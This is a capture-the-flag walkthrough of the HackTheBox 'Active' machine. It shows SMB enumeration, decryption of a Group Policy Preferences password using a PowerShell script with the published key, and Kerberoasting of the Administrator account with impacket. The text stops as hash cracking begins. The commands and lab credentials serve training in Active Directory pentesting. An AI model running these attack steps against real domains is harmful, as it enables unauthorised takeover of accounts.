The taming of Kerberos. Seizing control over Active Directory on a HackTheBox virtual PC

In this article, I am going to show how to escalate from an unprivileged user to the administrator of the Active Directory domain controller. The demonstration will be performed on a virtual PC available for hacking on the HackTheBox online platform, the place where aspiring hackers polish their pentesting and cybersecurity skills. Of course, this VM is not overly complex, but if you intend to pentest corporate networks, it is very important to learn how to work with Active Directory

INFO

HackTheBox (HTB) is a semiclose playground for hacking contests (CTF). To be invited, you have to pass a test. After that, you gain access to dozens of virtual machines with preset vulnerabilities that you can use to advance your pentesting skills. The author spent plenty of time and effort to gain a high position in the HTB rating.

HTB - Active

HTB – Active

The Active Directory (AD) domain controller is a critical element of a modern IT infrastructure. The Windows Server directory service has always been a much-desired target for malefactors willing to entrench in a corporate network. Therefore, the AD protection is a hot topic in the cybersecurity community.

Today’s victim is a virtual machine called Active. Its difficulty is 4.6 out of 10, which is not high. Objectives:

  • collect information on shared SMB resources (using smbclient, smbmap, enum4linux, and nullinux);
  • exploit SMB with anonymous access to take control over Groups.xml that stores group policy configurations;
  • decrypt the GPP password contained in the above-mentioned Groups.xml file;
  • gain access to the intradomain account, perform a Kerberoasting attack against Kerberos authentication protocol, and extract the administrator’s ticket using impacket script collection; and
  • recover the administrator’s password from the hash using Hashcat in order to gain full control over the domain controller.

“…Huge Cerberus makes these realms ring with his triple-throated baying, his monstrous bulk crouching in a cavern opposite…”

Examination

The initial stage of a research involves collecting information on the subject. The quality of this information determines the attack vector.

Nmap

First, I will check the virtual PC for open ports using Nmap. I don’t want to use NSE scripts and alike at this point; otherwise, the scan would take too much time. I’ll limit the minimum rate to 5000 packets per second (which is optimal when dealing with a Windows host simultaneously attacked by a hundred or two HTB users) and, just in case, request reports in all formats (.nmap, .gnmap, and .xml) using the flag -oA.

root@kali:~# nmap -n -vvv -sS -Pn –min-rate 5000 -oA nmap/initial 10.10.10.100

The report returns the following data:

root@kali:~# cat nmap/initial.nmap
# Nmap 7.70 scan initiated Sat Dec 15 23:26:06 2018 as: nmap -n -vvv -sS -Pn --min-rate 5000 -oA nmap/initial 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up, received user-set (0.14s latency).
Scanned at 2018-12-15 23:26:06 MSK for 1s
Not shown: 983 closed ports
Reason: 983 resets
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
49152/tcp open unknown syn-ack ttl 127
49153/tcp open unknown syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49155/tcp open unknown syn-ack ttl 127
49157/tcp open unknown syn-ack ttl 127
49158/tcp open unknown syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Dec 15 23:26:07 2018 -- 1 IP address (1 host up) scanned in 0.80 seconds

The TTL value confirms that this is a Windows system with numerous open ports and running services. I’ll increase the detail level to find out the versions of the running services. For that purpose, I’ll use the -sC flag that adds default NSE scripts to the scanning process.

root@kali:~# nmap -n -vvv -sS -sV -sC -oA nmap/version –stylesheet nmap-bootstrap.xsl 10.10.10.100
root@kali:~# cat nmap/version.nmap
# Nmap 7.70 scan initiated Sat Dec 15 23:26:38 2018 as: nmap -n -vvv -sS -sV -sC -oA nmap/version --stylesheet nmap-bootstrap.xsl 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up, received echo-reply ttl 127 (0.14s latency).
Scanned at 2018-12-15 23:26:38 MSK for 200s
Not shown: 983 closed ports
Reason: 983 resets
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2018-12-15 20:19:56Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
49152/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -7m07s, deviation: 0s, median: -7m07s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 53842/tcp): CLEAN (Couldn't connect)
| Check 2 (port 40109/tcp): CLEAN (Couldn't connect)
| Check 3 (port 43653/udp): CLEAN (Timeout)
| Check 4 (port 38631/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-12-15 23:20:56
|_ start_date: 2018-12-11 03:34:26

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 15 23:29:58 2018 -- 1 IP address (1 host up) scanned in 200.67 seconds

INFO

Nmap can generate handy reports in the HTML format thanks to the option --stylesheet. The only thing I have to do is create a suitable template for the XSL style sheet or, alternatively, use a premade one (e.g. nmap-bootstrap-xsl).

Based on the advanced scan results, I can make the following conclusions:

  • this is the Active Directory domain controller; the domain name is active.htb;
  • the OS is Windows Server 2008 R2 SP1;
  • microsoft-ds? (same as Microsoft Directory Services or SMB) refers to the shared network SMB resources (SMB shares), version 2, on port 445; and
  • Kerberos authentication system uses port 88.

Let’s have a good look at what is inside the SMB.

SMB enumeration: port 445

This topic deserves a separate article; here I will just briefly describe the software used to explore SMB shares.

NSE (Nmap Scripting Engine)

Almighty Nmap includes plenty of scripts covering multiple possible usage scenarios including SMB extraction. I’ll run a context search through .nse files in Kali Linux to see what’s on offer in “default”, “version”, and “safe” categories.

root@kali:~# locate -r ‘\.nse$’ | xargs grep categories | grep ‘default\|version\|safe’ | grep smb
/usr/share/nmap/scripts/smb-double-pulsar-backdoor.nse:categories = {"vuln", "safe", "malware"}
/usr/share/nmap/scripts/smb-enum-services.nse:categories = {"discovery","intrusive","safe"}
/usr/share/nmap/scripts/smb-ls.nse:categories = {"discovery", "safe"}
/usr/share/nmap/scripts/smb-mbenum.nse:categories = {"discovery", "safe"}
/usr/share/nmap/scripts/smb-os-discovery.nse:categories = {"default", "discovery", "safe"}
/usr/share/nmap/scripts/smb-protocols.nse:categories = {"safe", "discovery"}
/usr/share/nmap/scripts/smb-security-mode.nse:categories = {"default", "discovery", "safe"}
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse:categories = {"vuln", "safe"}
/usr/share/nmap/scripts/smb2-capabilities.nse:categories = {"safe", "discovery"}
/usr/share/nmap/scripts/smb2-security-mode.nse:categories = {"safe", "discovery", "default"}
/usr/share/nmap/scripts/smb2-time.nse:categories = {"discovery", "safe", "default"}
/usr/share/nmap/scripts/smb2-vuln-uptime.nse:categories = {"vuln", "safe"}

Then I fire up “safe” Nmap scripts to explore port 445.

root@kali:~# nmap -n –script safe -oA nmap/nse-smb-enum -p445 10.10.10.100
root@kali:~# cat nmap/nse-smb-enum.nmap
# Nmap 7.70 scan initiated Sun Dec 16 00:03:51 2018 as: nmap -n --script safe -oA nmap/nse-smb-enum -p445 10.10.10.100
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 10.0.2.16
| Subnet Mask: 255.255.255.0
| Router: 10.0.2.2
| Domain Name Server: 192.168.1.1
|_ Server Identifier: 10.0.2.2
| broadcast-ping:
| IP: 192.168.1.140 MAC: 52:54:00:12:35:02
|_ Use --script-args=newtargets to add the results as targets
|_eap-info: please specify an interface with -e
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
Nmap scan report for 10.10.10.100
Host is up (0.14s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
|_clock-skew: mean: -7m06s, deviation: 0s, median: -7m06s
|_fcrdns: FAIL (No PTR record)
|_ipidseq: Incremental!
|_msrpc-enum: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection
|_path-mtu: PMTU == 1500
| smb-mbenum:
|_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection
| smb-protocols:
| dialects:
| 2.02
|_ 2.10
| smb2-capabilities:
| 2.02:
| Distributed File System
| 2.10:
| Distributed File System
| Leasing
|_ Multi-credit operations
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-12-15 23:57:31
|_ start_date: 2018-12-11 03:34:26
| unusual-port:
|_ WARNING: this script depends on Nmap's service/version detection (-sV)

Post-scan script results:
| reverse-index:
|_ 445/tcp: 10.10.10.100
# Nmap done at Sun Dec 16 00:05:02 2018 -- 1 IP address (1 host up) scanned in 71.04 seconds

The lengthy output has nothing useful; it just reconfirms that this is SMBv2.

Smbclient

The smbclient utility is used to connect to SMB shares in Linux. First, I’ll check what SMB resources are present on the host. Guest access is sufficient for that.

root@kali:~# smbclient -N -L 10.10.10.100
Anonymous login successful

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

The only directory that can be accessed with anonymous authentication is Replication. It contains all the AD replicated data (i.e. it is a copy of SYSVOL system volume). This is important for the privilege escalation purposes because SYSVOL contains a copy of the file with group policy settings; by default, access to this file is limited to authorized users only.

Let’s check what’s inside the Replication share.

root@kali:~# smbclient -N “\\10.10.10.100\Replication”
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Jul 21 13:37:44 2018
.. D 0 Sat Jul 21 13:37:44 2018
active.htb D 0 Sat Jul 21 13:37:44 2018

10459647 blocks of size 4096. 4946059 blocks available

To avoid browsing through subfolders manually, I’ll use recursive traversal and disable the annoying prompt. As a result, I get a full replica of the Replication directory as shown below:

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as GPE.INI (0.2 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (2.0 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1.0 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (5.1 KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.0 KiloBytes/sec) (average 1.4 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as GptTmpl.inf (6.8 KiloBytes/sec) (average 2.2 KiloBytes/sec)

Now I have an offline copy of the Replication directory. The find function displays the file list to simplify the analysis.

root@kali:~# find active.htb -type f
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI
active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI

I won’t dig deeper at this point; instead, I’ll try other tools.

Smbmap

Smbmap can be used instead of smbclient. This tool is handier, often delivering the same results in less steps. First, I scan the entire server.

root@kali:~# smbmap -d active.htb -H 10.10.10.100
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS

The program output shows what can be accessed with the current rights (anonymous authentication), which is very convenient. Then I request smbmap to display the recursive listing of files contained in the Replication directory, which only takes a single command.

root@kali:~# smbmap -d active.htb -H 10.10.10.100 -R Replication
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
Replication READ ONLY
.\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 active.htb
.\\active.htb\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 DfsrPrivate
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Policies
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 scripts
.\\active.htb\DfsrPrivate\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ConflictAndDeleted
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Deleted
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Installing
.\\active.htb\Policies\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 {31B2F340-016D-11D2-945F-00C04FB984F9}
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 {6AC1786C-016F-11D2-945F-00C04fB984F9}
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 23 Sat Jul 21 13:38:11 2018 GPT.INI
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Group Policy
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 MACHINE
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 USER
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 119 Sat Jul 21 13:38:11 2018 GPE.INI
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Microsoft
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Preferences
-r--r--r-- 2788 Sat Jul 21 13:38:11 2018 Registry.pol
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Windows NT
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 SecEdit
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 1098 Sat Jul 21 13:38:11 2018 GptTmpl.inf
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Groups
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 533 Sat Jul 21 13:38:11 2018 Groups.xml
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 22 Sat Jul 21 13:38:11 2018 GPT.INI
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 MACHINE
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 USER
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Microsoft
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Windows NT
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 SecEdit
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 3722 Sat Jul 21 13:38:11 2018 GptTmpl.inf

And finally, I retrieve the Groups.xml file using the -q flag to avoid viewing the listing again.

root@kali:~# smbmap -H 10.10.10.100 -R Replication -A Groups.xml -q
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
Replication READ ONLY
[+] Starting search for files matching 'Groups.xml' on share Replication.
[+] Match found! Downloading: Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

WWW

Below are two more examples of useful scripts:

  • enum4linux: the true classic. The utility is written in Perl. It is slightly old, but still useful for collecting information about Windows and Samba.
  • nullinux.py: a newer alternative to enum4linux rewritten in Python. Does the same job in a fancier way and without numerous error messages.

GPP (Group Policy Preferences)

Let’s check the data retrieved from SMB.

Windows Server 2008 introduced a tool named Group Policy Preferences (GPP). The tool makes the life of domain administrators easier by enabling centralized administration of security settings for users and groups throughout the network.

For instance, the admin has discovered that local administrator’s password does not comply with the company’s security policy, and decided to change that password. The new password is encrypted with a symmetric AES-256 key and exported to Groups.xml. As you remember, I have already retrieved this file contained in the Replication folder.

Later on, in 2012, Microsoft decided to publish that encryption key in MSDN; since then, passwords set using GPP are not considered secure. The infamous yellow sticker is more secure than this: at very least, remote hackers can’t see what you have on that piece of paper.

The AES-256 key for encryption of passwords stored in Groups.xml was published on MSDN

The AES-256 key for encryption of passwords stored in Groups.xml was published on MSDN

Two years later, Microsoft released a patch blocking passwords from being stored in Groups.xml. However, I still encounter such configuration errors, and the tested computer is not an exception.

root@kali:~# cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

The field cpassword contains the password of the user active.htb\SVC_TGS encrypted by the no-longer-secret Microsoft key.

root@kali:~# cat Groups.xml | grep -o ‘cpassword=”[^”]\+”\|userName=”[^”]\+”‘
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
userName="active.htb\SVC_TGS"

Password decryption

GPP-decrypt

Kali Linux includes a utility for decrypting GPP passwords, gpp-decrypt.

root@kali:~# gpp-decrypt ‘edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ’
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18

PowerShell script

There is also an interesting script written in PowerShell that performs the same function. Its full version is available on GitHub, but I used only a small piece of it taken from comments in the author’s blog.

function getpwd([string]$Cpassword) {
  $pl = $Cpassword.length % 4
  if($pl -eq 0){$pad = ""}
  else{$Pad = "=" * (4 - ($Cpassword.length % 4))}
  $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
  # Create a new AES .NET Crypto Object
  $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
  # Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
  [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
  # Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
  $AesIV = New-Object Byte[]($AesObject.IV.Length)
  $AesObject.IV = $AesIV
  $AesObject.Key = $AesKey
  $DecryptorObject = $AesObject.CreateDecryptor()
  [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

  return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
Decrypting a GPP password with a PowerShell script

Decrypting a GPP password with a PowerShell script

In any case, I have got the authorization credentials: SVC_TGS:GPPstillStandingStrong2k18.

PrivEsc: Anonymous → SVC_TGS

After getting authenticated access to SMB, I can grab the first flag from \\10.10.10.100\Users.

root@kali:~# smbmap -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 -H 10.10.10.100 -R Users -A user.txt -q
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
Users READ ONLY
[+] Starting search for files matching 'user.txt' on share Users.
[+] Match found! Downloading: Users\SVC_TGS\Desktop\user.txt

User.txt

root@kali:~# cat /usr/share/smbmap/10.10.10.100-Users_SVC_TGS_Desktop_user.txt
86d67d8b????????????????????????

Mounting SMB share

To research the directory contents deeper, I have to mount an SMB share such as //10.10.10.100/Users.

root@kali:~# mount -t cifs //10.10.10.100/Users /mnt/smb -v -o user=SVC_TGS,pass=GPPstillStandingStrong2k18
mount.cifs kernel mount options: ip=10.10.10.100,unc=\\10.10.10.100\Users,user=SVC_TGS,pass=********
root@kali:~# ls -la /mnt/smb
total 33
drwxr-xr-x 2 root root 4096 Jul 21 17:39 .
drwxr-xr-x 3 root root 4096 Aug 8 15:54 ..
drwxr-xr-x 2 root root 0 Jul 16 13:14 Administrator
l--------- 1 root root 0 Jul 14 2009 'All Users' -> '/??/C:/ProgramData'
drwxr-xr-x 2 root root 8192 Jul 14 2009 Default
drwxr-xr-x 2 root root 8192 Jul 14 2009 'Default User'
-rwxr-xr-x 1 root root 174 Jul 14 2009 desktop.ini
drwxr-xr-x 2 root root 4096 Jul 14 2009 Public
drwxr-xr-x 2 root root 4096 Jul 21 18:16 SVC_TGS

Mounted SMB resource in Kali Linux

Mounted SMB resource in Kali Linux

Getting information on AD users

Great! With a domain-level user account, I am officially an insider. Now I can use the ldapsearch utility to search for other domain user accounts in the directory service available via LDAP (Lightweight Directory Access Protocol). The use of the filter useraccountcontrol:1.2.840.113556.1.4.803: with the value 2 guarantees that I retrieve information only on active AD accounts.

root@kali:~# ldapsearch -x -h 10.10.10.100 -p 389 -D ‘SVC_TGS’ -w ‘GPPstillStandingStrong2k18’-b “dc=active,dc=htb” -s sub”(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))” samaccountname | grep sAMAccountNamePage
sAMAccountName: Administrator
sAMAccountName: SVC_TGS

The same information can be obtained using the impacket collection of Python scripts.

root@kali:~# GetADUsers.py -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

[*] Querying 10.10.10.100 for information about domain.
Name Email PasswordLastSet LastLogon
------------- ------ ------------------- -------------------
Administrator 2018-07-18 22:06:40 2018-12-11 04:20:35
Guest <never> <never>
krbtgt 2018-07-18 21:50:36 <never>
SVC_TGS 2018-07-18 23:14:38 2018-12-13 23:30:55

Kerberoasting: port 88

One of the privilege escalation techniques in the framework of Kerberos authentication system is called Kerberoasting. In 2014, Tim Medin presented it at DerbyCon computer security conference (PDF).

The main idea of the attack is as follows. If the administrative account is associated with an SPN (Service Principal Name) identifier, I can request the Kerberos KDC (Key Distribution Center) on the domain controller to issue a respective TGS (Ticket Granting Service) ticket containing a password hash to that account.

If the password is weak, I can easily recover it offline. This is possible because TGS_REP (the response of Kerberos to my request) will be encrypted with the NTLM hash of the password to the admin account (i.e. the account on behalf of which the service is run).

Network interactions occurring in the course of such an attack are shown below.

Kerberoasting attack scheme

Kerberoasting attack scheme

WWW

More information on Kerberoasting attacks can be found in the following two articles:

Retrieving Service Principal Names of AD users

I can also use LDAP search for SPN enumeration.

root@kali:~# ldapsearch -x -h 10.10.10.100 -p 389 -D ‘SVC_TGS’ -w’GPPstillStandingStrong2k18′ -b “dc=active,dc=htb” -s sub”(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=/))” serviceprincipalname | grep-B 1 servicePrincipalName
servicePrincipleName: active/CIFS:445

Alternatively, I can use the impacket script collection to dump the TGS hash of the obtained account. To do so, I have to set the -request flag.

root@kali:~# GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -output tgs-administrator.hash
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 22:06:40 2018-12-11 04:20:35

root@kali:~# cat tgs-administrator.hash
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*...[hash value]...

Recovering administrator’s password

I am going to recover the original password from the hash with Hashcat. Alternatively, I can use John the Ripper, “Jumbo” version.

